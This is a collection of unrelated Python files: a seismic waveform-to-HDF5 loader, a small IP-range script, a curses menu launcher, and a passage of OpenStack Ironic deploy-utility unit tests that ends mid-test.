#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue May 18 17:00:19 2021 example: Parkfield repeaters:: @author: theresasawi """ import h5py import numpy as np import glob import sys import obspy import os import pandas as pd sys.path.append('functions/') from setParams import setParams from generators import gen_wf_from_folder import tables tables.file._open_files.close_all() # ============================================== # STUFF THAT GETS CHANGED WHEN WE MOVE TO config.py #%% load project variables: names and paths key = sys.argv[1] print(key) # pick the operating system, for pandas.to_csv OSflag = 'linux' #OSflag = 'mac' # ------------- pathProj, pathCat, pathWF, network, station, channel, channel_ID, filetype, cat_columns = setParams(key) dataH5_name = f'data_{key}.hdf5' dataH5_path = pathProj + '/H5files/' + dataH5_name wf_cat_out = pathProj + 'wf_cat_out.csv' if not os.path.isdir(pathProj + '/H5files/'): os.mkdir(pathProj + '/H5files/') #%% get global catalog cat = pd.read_csv(pathCat, header=None,delim_whitespace=True) cat.columns = cat_columns #for plotting in later scripts try: cat['datetime'] = pd.to_datetime(cat[['year','month','day','hour','minute','second']]) except: print('YOU SHOULD MAKE A DATETIME COLUMN FOR ANALYSIS LATER!') pass cat['event_ID'] = [int(evID) for evID in cat.event_ID] print('event ID: ', cat.event_ID.iloc[0]) #%% get list of waveforms and sort wf_filelist = glob.glob(pathWF + '*') wf_filelist.sort() wf_filelist = wf_filelist wf_test = obspy.read(wf_filelist[0]) lenData = len(wf_test[0].data) #%% define generator (function) gen_wf = gen_wf_from_folder(wf_filelist,key,lenData,channel_ID) ## clear old H5 if it exists, or else error will appear if os.path.exists(dataH5_path): os.remove(dataH5_path) #%% add catalog and waveforms to H5 evID_keep = [] #list of wfs to keep with h5py.File(dataH5_path,'a') as h5file: global_catalog_group = h5file.create_group("catalog/global_catalog") for col in cat.columns: if col == 'datetime': ## if there are other columns in your catalog #that are stings, then you may need to extend conditional statement # to use the dtype='S' flag in the next line global_catalog_group.create_dataset(name='datetime',data=np.array(cat['datetime'],dtype='S')) else: exec(f"global_catalog_group.create_dataset(name='{col}',data=cat.{col})") waveforms_group = h5file.create_group("waveforms") station_group = h5file.create_group(f"waveforms/{station}") channel_group = h5file.create_group(f"waveforms/{station}/{channel}") dupl_evID = 0 #duplicate event IDs?? not here, sister n=0 while n <= len(wf_filelist): ## not sure a better way to execute this? But it works try: #catch generator "stop iteration" error #these all defined in generator at top of script data, evID, n = next(gen_wf) if n%500==0: print(n, '/', len(wf_filelist)) # if evID not in group, add dataset to wf group if evID not in channel_group: channel_group.create_dataset(name= evID, data=data) evID_keep.append(int(evID)) elif evID in channel_group: dupl_evID += 1 except StopIteration: #handle generator error break sampling_rate = wf_test[0].stats.sampling_rate # instr_response = wf_test[0].stats.instrument_response station_info = f"{wf_test[0].stats.network}.{wf_test[0].stats.station}.{wf_test[0].stats.location}.{wf_test[0].stats.channel}." calib = wf_test[0].stats.calib _format = wf_test[0].stats._format processing_group = h5file.create_group(f"{station}/processing_info") processing_group.create_dataset(name= "sampling_rate_Hz", data=sampling_rate)#,dtype='S') processing_group.create_dataset(name= "station_info", data=station_info) processing_group.create_dataset(name= "calibration", data=calib)#,dtype='S') processing_group.create_dataset(name= "orig_formata", data=_format)#,dtype='S') # processing_group.create_dataset(name= "instr_response", data=instr_response,dtype='S') processing_group.create_dataset(name= "lenData", data=lenData)#,dtype='S') print(dupl_evID, ' duplicate events found and avoided') print(n- dupl_evID, ' waveforms loaded') #%% save final working catalog to csv cat_keep_wf = cat[cat['event_ID'].isin(evID_keep)] if os.path.exists(wf_cat_out): os.remove(wf_cat_out) print('formatting CSV catalog for ',OSflag) if OSflag=='linux': cat_keep_wf.to_csv(wf_cat_out,line_terminator='\n') elif OSflag=='mac': cat_keep_wf.to_csv(wf_cat_out) print(len(cat_keep_wf), ' events in wf catalog') #%%
python
with open ('20.in','r') as f: numbers = [map(int, l.split('-')) for l in f.read().split('\n')] m,c = 0, 0 for r in sorted(numbers): if m < r[0]: c += r[0] - m m = max(m, r[1] + 1) print c + 2**32 - m
python
#-*- coding: utf-8 -*- import settings settings.init() import routers import curses import sys from pages.mainMenu import MainMenu # start curses stdscr = curses.initscr() curses.noecho() curses.cbreak() curses.curs_set(0) stdscr.keypad(True) def main(stdscr): # Clear screen stdscr.clear() try: routers.getPage("main_menu", stdscr).render() except KeyboardInterrupt: # When user press ctrl + c. then just exit the app sys.exit() # init app with curses exception handler curses.wrapper(main) # end curses curses.nocbreak() stdscr.keypad(False) curses.echo() curses.endwin()
python
# Copyright (c) 2012 NTT DOCOMO, INC. # Copyright 2011 OpenStack Foundation # Copyright 2011 Ilya Alekseyev # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import base64 import gzip import os import shutil import stat import tempfile import time import types import mock from oslo_concurrency import processutils from oslo_config import cfg from oslo_utils import uuidutils import requests import testtools from ironic.common import boot_devices from ironic.common import disk_partitioner from ironic.common import exception from ironic.common import images from ironic.common import states from ironic.common import utils as common_utils from ironic.conductor import task_manager from ironic.conductor import utils as manager_utils from ironic.drivers.modules import agent_client from ironic.drivers.modules import deploy_utils as utils from ironic.drivers.modules import image_cache from ironic.tests import base as tests_base from ironic.tests.conductor import utils as mgr_utils from ironic.tests.db import base as db_base from ironic.tests.db import utils as db_utils from ironic.tests.objects import utils as obj_utils _PXECONF_DEPLOY = b""" default deploy label deploy kernel deploy_kernel append initrd=deploy_ramdisk ipappend 3 label boot_partition kernel kernel append initrd=ramdisk root={{ ROOT }} label boot_whole_disk COM32 chain.c32 append mbr:{{ DISK_IDENTIFIER }} """ _PXECONF_BOOT_PARTITION = """ default boot_partition label deploy kernel deploy_kernel append initrd=deploy_ramdisk ipappend 3 label boot_partition kernel kernel append initrd=ramdisk root=UUID=12345678-1234-1234-1234-1234567890abcdef label boot_whole_disk COM32 chain.c32 append mbr:{{ DISK_IDENTIFIER }} """ _PXECONF_BOOT_WHOLE_DISK = """ default boot_whole_disk label deploy kernel deploy_kernel append initrd=deploy_ramdisk ipappend 3 label boot_partition kernel kernel append initrd=ramdisk root={{ ROOT }} label boot_whole_disk COM32 chain.c32 append mbr:0x12345678 """ _IPXECONF_DEPLOY = b""" #!ipxe dhcp goto deploy :deploy kernel deploy_kernel initrd deploy_ramdisk boot :boot_partition kernel kernel append initrd=ramdisk root={{ ROOT }} boot :boot_whole_disk kernel chain.c32 append mbr:{{ DISK_IDENTIFIER }} boot """ _IPXECONF_BOOT_PARTITION = """ #!ipxe dhcp goto boot_partition :deploy kernel deploy_kernel initrd deploy_ramdisk boot :boot_partition kernel kernel append initrd=ramdisk root=UUID=12345678-1234-1234-1234-1234567890abcdef boot :boot_whole_disk kernel chain.c32 append mbr:{{ DISK_IDENTIFIER }} boot """ _IPXECONF_BOOT_WHOLE_DISK = """ #!ipxe dhcp goto boot_whole_disk :deploy kernel deploy_kernel initrd deploy_ramdisk boot :boot_partition kernel kernel append initrd=ramdisk root={{ ROOT }} boot :boot_whole_disk kernel chain.c32 append mbr:0x12345678 boot """ _UEFI_PXECONF_DEPLOY = b""" default=deploy image=deploy_kernel label=deploy initrd=deploy_ramdisk append="ro text" image=kernel label=boot_partition initrd=ramdisk append="root={{ ROOT }}" image=chain.c32 label=boot_whole_disk append="mbr:{{ DISK_IDENTIFIER }}" """ _UEFI_PXECONF_BOOT_PARTITION = """ default=boot_partition image=deploy_kernel label=deploy initrd=deploy_ramdisk append="ro text" image=kernel label=boot_partition initrd=ramdisk append="root=UUID=12345678-1234-1234-1234-1234567890abcdef" image=chain.c32 label=boot_whole_disk append="mbr:{{ DISK_IDENTIFIER }}" """ _UEFI_PXECONF_BOOT_WHOLE_DISK = """ default=boot_whole_disk image=deploy_kernel label=deploy initrd=deploy_ramdisk append="ro text" image=kernel label=boot_partition initrd=ramdisk append="root={{ ROOT }}" image=chain.c32 label=boot_whole_disk append="mbr:0x12345678" """ @mock.patch.object(time, 'sleep', lambda seconds: None) class PhysicalWorkTestCase(tests_base.TestCase): def _mock_calls(self, name_list): patch_list = [mock.patch.object(utils, name, spec_set=types.FunctionType) for name in name_list] mock_list = [patcher.start() for patcher in patch_list] for patcher in patch_list: self.addCleanup(patcher.stop) parent_mock = mock.MagicMock(spec=[]) for mocker, name in zip(mock_list, name_list): parent_mock.attach_mock(mocker, name) return parent_mock def _test_deploy_partition_image(self, boot_option=None, boot_mode=None): """Check loosely all functions are called with right args.""" address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 image_path = '/tmp/xyz/image' root_mb = 128 swap_mb = 64 ephemeral_mb = 0 ephemeral_format = None configdrive_mb = 0 node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" dev = '/dev/fake' swap_part = '/dev/fake-part1' root_part = '/dev/fake-part2' root_uuid = '12345678-1234-1234-12345678-12345678abcdef' name_list = ['get_dev', 'get_image_mb', 'discovery', 'login_iscsi', 'logout_iscsi', 'delete_iscsi', 'make_partitions', 'is_block_device', 'populate_image', 'mkfs', 'block_uuid', 'notify', 'destroy_disk_metadata'] parent_mock = self._mock_calls(name_list) parent_mock.get_dev.return_value = dev parent_mock.get_image_mb.return_value = 1 parent_mock.is_block_device.return_value = True parent_mock.block_uuid.return_value = root_uuid parent_mock.make_partitions.return_value = {'root': root_part, 'swap': swap_part} make_partitions_expected_args = [dev, root_mb, swap_mb, ephemeral_mb, configdrive_mb] make_partitions_expected_kwargs = {'commit': True} deploy_kwargs = {} if boot_option: make_partitions_expected_kwargs['boot_option'] = boot_option deploy_kwargs['boot_option'] = boot_option else: make_partitions_expected_kwargs['boot_option'] = 'netboot' if boot_mode: make_partitions_expected_kwargs['boot_mode'] = boot_mode deploy_kwargs['boot_mode'] = boot_mode else: make_partitions_expected_kwargs['boot_mode'] = 'bios' # If no boot_option, then it should default to netboot. calls_expected = [mock.call.get_image_mb(image_path), mock.call.get_dev(address, port, iqn, lun), mock.call.discovery(address, port), mock.call.login_iscsi(address, port, iqn), mock.call.is_block_device(dev), mock.call.destroy_disk_metadata(dev, node_uuid), mock.call.make_partitions( *make_partitions_expected_args, **make_partitions_expected_kwargs), mock.call.is_block_device(root_part), mock.call.is_block_device(swap_part), mock.call.populate_image(image_path, root_part), mock.call.mkfs(dev=swap_part, fs='swap', label='swap1'), mock.call.block_uuid(root_part), mock.call.logout_iscsi(address, port, iqn), mock.call.delete_iscsi(address, port, iqn)] uuids_dict_returned = utils.deploy_partition_image( address, port, iqn, lun, image_path, root_mb, swap_mb, ephemeral_mb, ephemeral_format, node_uuid, **deploy_kwargs) self.assertEqual(calls_expected, parent_mock.mock_calls) expected_uuid_dict = { 'root uuid': root_uuid, 'efi system partition uuid': None} self.assertEqual(expected_uuid_dict, uuids_dict_returned) def test_deploy_partition_image_without_boot_option(self): self._test_deploy_partition_image() def test_deploy_partition_image_netboot(self): self._test_deploy_partition_image(boot_option="netboot") def test_deploy_partition_image_localboot(self): self._test_deploy_partition_image(boot_option="local") def test_deploy_partition_image_wo_boot_option_and_wo_boot_mode(self): self._test_deploy_partition_image() def test_deploy_partition_image_netboot_bios(self): self._test_deploy_partition_image(boot_option="netboot", boot_mode="bios") def test_deploy_partition_image_localboot_bios(self): self._test_deploy_partition_image(boot_option="local", boot_mode="bios") def test_deploy_partition_image_netboot_uefi(self): self._test_deploy_partition_image(boot_option="netboot", boot_mode="uefi") @mock.patch.object(utils, 'get_image_mb', return_value=129, autospec=True) def test_deploy_partition_image_image_exceeds_root_partition(self, gim_mock): address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 image_path = '/tmp/xyz/image' root_mb = 128 swap_mb = 64 ephemeral_mb = 0 ephemeral_format = None node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" self.assertRaises(exception.InstanceDeployFailure, utils.deploy_partition_image, address, port, iqn, lun, image_path, root_mb, swap_mb, ephemeral_mb, ephemeral_format, node_uuid) gim_mock.assert_called_once_with(image_path) # We mock utils.block_uuid separately here because we can't predict # the order in which it will be called. @mock.patch.object(utils, 'block_uuid', autospec=True) def test_deploy_partition_image_localboot_uefi(self, block_uuid_mock): """Check loosely all functions are called with right args.""" address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 image_path = '/tmp/xyz/image' root_mb = 128 swap_mb = 64 ephemeral_mb = 0 ephemeral_format = None configdrive_mb = 0 node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" dev = '/dev/fake' swap_part = '/dev/fake-part2' root_part = '/dev/fake-part3' efi_system_part = '/dev/fake-part1' root_uuid = '12345678-1234-1234-12345678-12345678abcdef' efi_system_part_uuid = '9036-482' name_list = ['get_dev', 'get_image_mb', 'discovery', 'login_iscsi', 'logout_iscsi', 'delete_iscsi', 'make_partitions', 'is_block_device', 'populate_image', 'mkfs', 'notify', 'destroy_disk_metadata'] parent_mock = self._mock_calls(name_list) parent_mock.get_dev.return_value = dev parent_mock.get_image_mb.return_value = 1 parent_mock.is_block_device.return_value = True def block_uuid_side_effect(device): if device == root_part: return root_uuid if device == efi_system_part: return efi_system_part_uuid block_uuid_mock.side_effect = block_uuid_side_effect parent_mock.make_partitions.return_value = { 'root': root_part, 'swap': swap_part, 'efi system partition': efi_system_part} # If no boot_option, then it should default to netboot. calls_expected = [mock.call.get_image_mb(image_path), mock.call.get_dev(address, port, iqn, lun), mock.call.discovery(address, port), mock.call.login_iscsi(address, port, iqn), mock.call.is_block_device(dev), mock.call.destroy_disk_metadata(dev, node_uuid), mock.call.make_partitions(dev, root_mb, swap_mb, ephemeral_mb, configdrive_mb, commit=True, boot_option="local", boot_mode="uefi"), mock.call.is_block_device(root_part), mock.call.is_block_device(swap_part), mock.call.is_block_device(efi_system_part), mock.call.mkfs(dev=efi_system_part, fs='vfat', label='efi-part'), mock.call.populate_image(image_path, root_part), mock.call.mkfs(dev=swap_part, fs='swap', label='swap1'), mock.call.logout_iscsi(address, port, iqn), mock.call.delete_iscsi(address, port, iqn)] uuid_dict_returned = utils.deploy_partition_image( address, port, iqn, lun, image_path, root_mb, swap_mb, ephemeral_mb, ephemeral_format, node_uuid, boot_option="local", boot_mode="uefi") self.assertEqual(calls_expected, parent_mock.mock_calls) block_uuid_mock.assert_any_call('/dev/fake-part1') block_uuid_mock.assert_any_call('/dev/fake-part3') expected_uuid_dict = { 'root uuid': root_uuid, 'efi system partition uuid': efi_system_part_uuid} self.assertEqual(expected_uuid_dict, uuid_dict_returned) def test_deploy_partition_image_without_swap(self): """Check loosely all functions are called with right args.""" address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 image_path = '/tmp/xyz/image' root_mb = 128 swap_mb = 0 ephemeral_mb = 0 ephemeral_format = None configdrive_mb = 0 node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" dev = '/dev/fake' root_part = '/dev/fake-part1' root_uuid = '12345678-1234-1234-12345678-12345678abcdef' name_list = ['get_dev', 'get_image_mb', 'discovery', 'login_iscsi', 'logout_iscsi', 'delete_iscsi', 'make_partitions', 'is_block_device', 'populate_image', 'block_uuid', 'notify', 'destroy_disk_metadata'] parent_mock = self._mock_calls(name_list) parent_mock.get_dev.return_value = dev parent_mock.get_image_mb.return_value = 1 parent_mock.is_block_device.return_value = True parent_mock.block_uuid.return_value = root_uuid parent_mock.make_partitions.return_value = {'root': root_part} calls_expected = [mock.call.get_image_mb(image_path), mock.call.get_dev(address, port, iqn, lun), mock.call.discovery(address, port), mock.call.login_iscsi(address, port, iqn), mock.call.is_block_device(dev), mock.call.destroy_disk_metadata(dev, node_uuid), mock.call.make_partitions(dev, root_mb, swap_mb, ephemeral_mb, configdrive_mb, commit=True, boot_option="netboot", boot_mode="bios"), mock.call.is_block_device(root_part), mock.call.populate_image(image_path, root_part), mock.call.block_uuid(root_part), mock.call.logout_iscsi(address, port, iqn), mock.call.delete_iscsi(address, port, iqn)] uuid_dict_returned = utils.deploy_partition_image(address, port, iqn, lun, image_path, root_mb, swap_mb, ephemeral_mb, ephemeral_format, node_uuid) self.assertEqual(calls_expected, parent_mock.mock_calls) self.assertEqual(root_uuid, uuid_dict_returned['root uuid']) def test_deploy_partition_image_with_ephemeral(self): """Check loosely all functions are called with right args.""" address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 image_path = '/tmp/xyz/image' root_mb = 128 swap_mb = 64 ephemeral_mb = 256 configdrive_mb = 0 ephemeral_format = 'exttest' node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" dev = '/dev/fake' ephemeral_part = '/dev/fake-part1' swap_part = '/dev/fake-part2' root_part = '/dev/fake-part3' root_uuid = '12345678-1234-1234-12345678-12345678abcdef' name_list = ['get_dev', 'get_image_mb', 'discovery', 'login_iscsi', 'logout_iscsi', 'delete_iscsi', 'make_partitions', 'is_block_device', 'populate_image', 'mkfs', 'block_uuid', 'notify', 'destroy_disk_metadata'] parent_mock = self._mock_calls(name_list) parent_mock.get_dev.return_value = dev parent_mock.get_image_mb.return_value = 1 parent_mock.is_block_device.return_value = True parent_mock.block_uuid.return_value = root_uuid parent_mock.make_partitions.return_value = {'swap': swap_part, 'ephemeral': ephemeral_part, 'root': root_part} calls_expected = [mock.call.get_image_mb(image_path), mock.call.get_dev(address, port, iqn, lun), mock.call.discovery(address, port), mock.call.login_iscsi(address, port, iqn), mock.call.is_block_device(dev), mock.call.destroy_disk_metadata(dev, node_uuid), mock.call.make_partitions(dev, root_mb, swap_mb, ephemeral_mb, configdrive_mb, commit=True, boot_option="netboot", boot_mode="bios"), mock.call.is_block_device(root_part), mock.call.is_block_device(swap_part), mock.call.is_block_device(ephemeral_part), mock.call.populate_image(image_path, root_part), mock.call.mkfs(dev=swap_part, fs='swap', label='swap1'), mock.call.mkfs(dev=ephemeral_part, fs=ephemeral_format, label='ephemeral0'), mock.call.block_uuid(root_part), mock.call.logout_iscsi(address, port, iqn), mock.call.delete_iscsi(address, port, iqn)] uuid_dict_returned = utils.deploy_partition_image(address, port, iqn, lun, image_path, root_mb, swap_mb, ephemeral_mb, ephemeral_format, node_uuid) self.assertEqual(calls_expected, parent_mock.mock_calls) self.assertEqual(root_uuid, uuid_dict_returned['root uuid']) def test_deploy_partition_image_preserve_ephemeral(self): """Check if all functions are called with right args.""" address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 image_path = '/tmp/xyz/image' root_mb = 128 swap_mb = 64 ephemeral_mb = 256 ephemeral_format = 'exttest' configdrive_mb = 0 node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" dev = '/dev/fake' ephemeral_part = '/dev/fake-part1' swap_part = '/dev/fake-part2' root_part = '/dev/fake-part3' root_uuid = '12345678-1234-1234-12345678-12345678abcdef' name_list = ['get_dev', 'get_image_mb', 'discovery', 'login_iscsi', 'logout_iscsi', 'delete_iscsi', 'make_partitions', 'is_block_device', 'populate_image', 'mkfs', 'block_uuid', 'notify', 'get_dev_block_size'] parent_mock = self._mock_calls(name_list) parent_mock.get_dev.return_value = dev parent_mock.get_image_mb.return_value = 1 parent_mock.is_block_device.return_value = True parent_mock.block_uuid.return_value = root_uuid parent_mock.make_partitions.return_value = {'swap': swap_part, 'ephemeral': ephemeral_part, 'root': root_part} parent_mock.block_uuid.return_value = root_uuid calls_expected = [mock.call.get_image_mb(image_path), mock.call.get_dev(address, port, iqn, lun), mock.call.discovery(address, port), mock.call.login_iscsi(address, port, iqn), mock.call.is_block_device(dev), mock.call.make_partitions(dev, root_mb, swap_mb, ephemeral_mb, configdrive_mb, commit=False, boot_option="netboot", boot_mode="bios"), mock.call.is_block_device(root_part), mock.call.is_block_device(swap_part), mock.call.is_block_device(ephemeral_part), mock.call.populate_image(image_path, root_part), mock.call.mkfs(dev=swap_part, fs='swap', label='swap1'), mock.call.block_uuid(root_part), mock.call.logout_iscsi(address, port, iqn), mock.call.delete_iscsi(address, port, iqn)] uuid_dict_returned = utils.deploy_partition_image( address, port, iqn, lun, image_path, root_mb, swap_mb, ephemeral_mb, ephemeral_format, node_uuid, preserve_ephemeral=True, boot_option="netboot") self.assertEqual(calls_expected, parent_mock.mock_calls) self.assertFalse(parent_mock.get_dev_block_size.called) self.assertEqual(root_uuid, uuid_dict_returned['root uuid']) @mock.patch.object(common_utils, 'unlink_without_raise', autospec=True) def test_deploy_partition_image_with_configdrive(self, mock_unlink): """Check loosely all functions are called with right args.""" address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 image_path = '/tmp/xyz/image' root_mb = 128 swap_mb = 0 ephemeral_mb = 0 configdrive_mb = 10 ephemeral_format = None node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" configdrive_url = 'http://1.2.3.4/cd' dev = '/dev/fake' configdrive_part = '/dev/fake-part1' root_part = '/dev/fake-part2' root_uuid = '12345678-1234-1234-12345678-12345678abcdef' name_list = ['get_dev', 'get_image_mb', 'discovery', 'login_iscsi', 'logout_iscsi', 'delete_iscsi', 'make_partitions', 'is_block_device', 'populate_image', 'block_uuid', 'notify', 'destroy_disk_metadata', 'dd', '_get_configdrive'] parent_mock = self._mock_calls(name_list) parent_mock.get_dev.return_value = dev parent_mock.get_image_mb.return_value = 1 parent_mock.is_block_device.return_value = True parent_mock.block_uuid.return_value = root_uuid parent_mock.make_partitions.return_value = {'root': root_part, 'configdrive': configdrive_part} parent_mock._get_configdrive.return_value = (10, 'configdrive-path') calls_expected = [mock.call.get_image_mb(image_path), mock.call.get_dev(address, port, iqn, lun), mock.call.discovery(address, port), mock.call.login_iscsi(address, port, iqn), mock.call.is_block_device(dev), mock.call.destroy_disk_metadata(dev, node_uuid), mock.call._get_configdrive(configdrive_url, node_uuid), mock.call.make_partitions(dev, root_mb, swap_mb, ephemeral_mb, configdrive_mb, commit=True, boot_option="netboot", boot_mode="bios"), mock.call.is_block_device(root_part), mock.call.is_block_device(configdrive_part), mock.call.dd(mock.ANY, configdrive_part), mock.call.populate_image(image_path, root_part), mock.call.block_uuid(root_part), mock.call.logout_iscsi(address, port, iqn), mock.call.delete_iscsi(address, port, iqn)] uuid_dict_returned = utils.deploy_partition_image( address, port, iqn, lun, image_path, root_mb, swap_mb, ephemeral_mb, ephemeral_format, node_uuid, configdrive=configdrive_url) self.assertEqual(calls_expected, parent_mock.mock_calls) self.assertEqual(root_uuid, uuid_dict_returned['root uuid']) mock_unlink.assert_called_once_with('configdrive-path') @mock.patch.object(utils, 'get_disk_identifier', autospec=True) def test_deploy_whole_disk_image(self, mock_gdi): """Check loosely all functions are called with right args.""" address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 image_path = '/tmp/xyz/image' node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" dev = '/dev/fake' name_list = ['get_dev', 'discovery', 'login_iscsi', 'logout_iscsi', 'delete_iscsi', 'is_block_device', 'populate_image', 'notify'] parent_mock = self._mock_calls(name_list) parent_mock.get_dev.return_value = dev parent_mock.is_block_device.return_value = True mock_gdi.return_value = '0x12345678' calls_expected = [mock.call.get_dev(address, port, iqn, lun), mock.call.discovery(address, port), mock.call.login_iscsi(address, port, iqn), mock.call.is_block_device(dev), mock.call.populate_image(image_path, dev), mock.call.logout_iscsi(address, port, iqn), mock.call.delete_iscsi(address, port, iqn)] uuid_dict_returned = utils.deploy_disk_image(address, port, iqn, lun, image_path, node_uuid) self.assertEqual(calls_expected, parent_mock.mock_calls) self.assertEqual('0x12345678', uuid_dict_returned['disk identifier']) @mock.patch.object(common_utils, 'execute', autospec=True) def test_verify_iscsi_connection_raises(self, mock_exec): iqn = 'iqn.xyz' mock_exec.return_value = ['iqn.abc', ''] self.assertRaises(exception.InstanceDeployFailure, utils.verify_iscsi_connection, iqn) self.assertEqual(3, mock_exec.call_count) @mock.patch.object(os.path, 'exists', autospec=True) def test_check_file_system_for_iscsi_device_raises(self, mock_os): iqn = 'iqn.xyz' ip = "127.0.0.1" port = "22" mock_os.return_value = False self.assertRaises(exception.InstanceDeployFailure, utils.check_file_system_for_iscsi_device, ip, port, iqn) self.assertEqual(3, mock_os.call_count) @mock.patch.object(os.path, 'exists', autospec=True) def test_check_file_system_for_iscsi_device(self, mock_os): iqn = 'iqn.xyz' ip = "127.0.0.1" port = "22" check_dir = "/dev/disk/by-path/ip-%s:%s-iscsi-%s-lun-1" % (ip, port, iqn) mock_os.return_value = True utils.check_file_system_for_iscsi_device(ip, port, iqn) mock_os.assert_called_once_with(check_dir) @mock.patch.object(common_utils, 'execute', autospec=True) def test_verify_iscsi_connection(self, mock_exec): iqn = 'iqn.xyz' mock_exec.return_value = ['iqn.xyz', ''] utils.verify_iscsi_connection(iqn) mock_exec.assert_called_once_with('iscsiadm', '-m', 'node', '-S', run_as_root=True, check_exit_code=[0]) @mock.patch.object(common_utils, 'execute', autospec=True) def test_force_iscsi_lun_update(self, mock_exec): iqn = 'iqn.xyz' utils.force_iscsi_lun_update(iqn) mock_exec.assert_called_once_with('iscsiadm', '-m', 'node', '-T', iqn, '-R', run_as_root=True, check_exit_code=[0]) @mock.patch.object(common_utils, 'execute', autospec=True) @mock.patch.object(utils, 'verify_iscsi_connection', autospec=True) @mock.patch.object(utils, 'force_iscsi_lun_update', autospec=True) @mock.patch.object(utils, 'check_file_system_for_iscsi_device', autospec=True) def test_login_iscsi_calls_verify_and_update(self, mock_check_dev, mock_update, mock_verify, mock_exec): address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' mock_exec.return_value = ['iqn.xyz', ''] utils.login_iscsi(address, port, iqn) mock_exec.assert_called_once_with('iscsiadm', '-m', 'node', '-p', '%s:%s' % (address, port), '-T', iqn, '--login', run_as_root=True, check_exit_code=[0], attempts=5, delay_on_retry=True) mock_verify.assert_called_once_with(iqn) mock_update.assert_called_once_with(iqn) mock_check_dev.assert_called_once_with(address, port, iqn) @mock.patch.object(utils, 'is_block_device', lambda d: True) def test_always_logout_and_delete_iscsi(self): """Check if logout_iscsi() and delete_iscsi() are called. Make sure that logout_iscsi() and delete_iscsi() are called once login_iscsi() is invoked. """ address = '127.0.0.1' port = 3306 iqn = 'iqn.xyz' lun = 1 image_path = '/tmp/xyz/image' root_mb = 128 swap_mb = 64 ephemeral_mb = 256 ephemeral_format = 'exttest' node_uuid = "12345678-1234-1234-1234-1234567890abcxyz" dev = '/dev/fake' class TestException(Exception): pass name_list = ['get_dev', 'get_image_mb', 'discovery', 'login_iscsi', 'logout_iscsi', 'delete_iscsi', 'work_on_disk'] patch_list = [mock.patch.object(utils, name, spec_set=types.FunctionType) for name in name_list] mock_list = [patcher.start() for patcher in patch_list] for patcher in patch_list: self.addCleanup(patcher.stop) parent_mock = mock.MagicMock(spec=[]) for mocker, name in zip(mock_list, name_list): parent_mock.attach_mock(mocker, name) parent_mock.get_dev.return_value = dev parent_mock.get_image_mb.return_value = 1 parent_mock.work_on_disk.side_effect = TestException calls_expected = [mock.call.get_image_mb(image_path), mock.call.get_dev(address, port, iqn, lun), mock.call.discovery(address, port), mock.call.login_iscsi(address, port, iqn), mock.call.work_on_disk(dev, root_mb, swap_mb, ephemeral_mb, ephemeral_format, image_path, node_uuid, configdrive=None, preserve_ephemeral=False, boot_option="netboot", boot_mode="bios"), mock.call.logout_iscsi(address, port, iqn), mock.call.delete_iscsi(address, port, iqn)] self.assertRaises(TestException, utils.deploy_partition_image, address, port, iqn, lun, image_path, root_mb, swap_mb, ephemeral_mb, ephemeral_format, node_uuid) self.assertEqual(calls_expected, parent_mock.mock_calls) class SwitchPxeConfigTestCase(tests_base.TestCase): def _create_config(self, ipxe=False, boot_mode=None): (fd, fname) = tempfile.mkstemp() if boot_mode == 'uefi': pxe_cfg = _UEFI_PXECONF_DEPLOY else: pxe_cfg = _IPXECONF_DEPLOY if ipxe else _PXECONF_DEPLOY os.write(fd, pxe_cfg) os.close(fd) self.addCleanup(os.unlink, fname) return fname def test_switch_pxe_config_partition_image(self): boot_mode = 'bios' fname = self._create_config() utils.switch_pxe_config(fname, '12345678-1234-1234-1234-1234567890abcdef', boot_mode, False) with open(fname, 'r') as f: pxeconf = f.read() self.assertEqual(_PXECONF_BOOT_PARTITION, pxeconf) def test_switch_pxe_config_whole_disk_image(self): boot_mode = 'bios' fname = self._create_config() utils.switch_pxe_config(fname, '0x12345678', boot_mode, True) with open(fname, 'r') as f: pxeconf = f.read() self.assertEqual(_PXECONF_BOOT_WHOLE_DISK, pxeconf) def test_switch_ipxe_config_partition_image(self): boot_mode = 'bios' cfg.CONF.set_override('ipxe_enabled', True, 'pxe') fname = self._create_config(ipxe=True) utils.switch_pxe_config(fname, '12345678-1234-1234-1234-1234567890abcdef', boot_mode, False) with open(fname, 'r') as f: pxeconf = f.read() self.assertEqual(_IPXECONF_BOOT_PARTITION, pxeconf) def test_switch_ipxe_config_whole_disk_image(self): boot_mode = 'bios' cfg.CONF.set_override('ipxe_enabled', True, 'pxe') fname = self._create_config(ipxe=True) utils.switch_pxe_config(fname, '0x12345678', boot_mode, True) with open(fname, 'r') as f: pxeconf = f.read() self.assertEqual(_IPXECONF_BOOT_WHOLE_DISK, pxeconf) def test_switch_uefi_pxe_config_partition_image(self): boot_mode = 'uefi' fname = self._create_config(boot_mode=boot_mode) utils.switch_pxe_config(fname, '12345678-1234-1234-1234-1234567890abcdef', boot_mode, False) with open(fname, 'r') as f: pxeconf = f.read() self.assertEqual(_UEFI_PXECONF_BOOT_PARTITION, pxeconf) def test_switch_uefi_config_whole_disk_image(self): boot_mode = 'uefi' fname = self._create_config(boot_mode=boot_mode) utils.switch_pxe_config(fname, '0x12345678', boot_mode, True) with open(fname, 'r') as f: pxeconf = f.read() 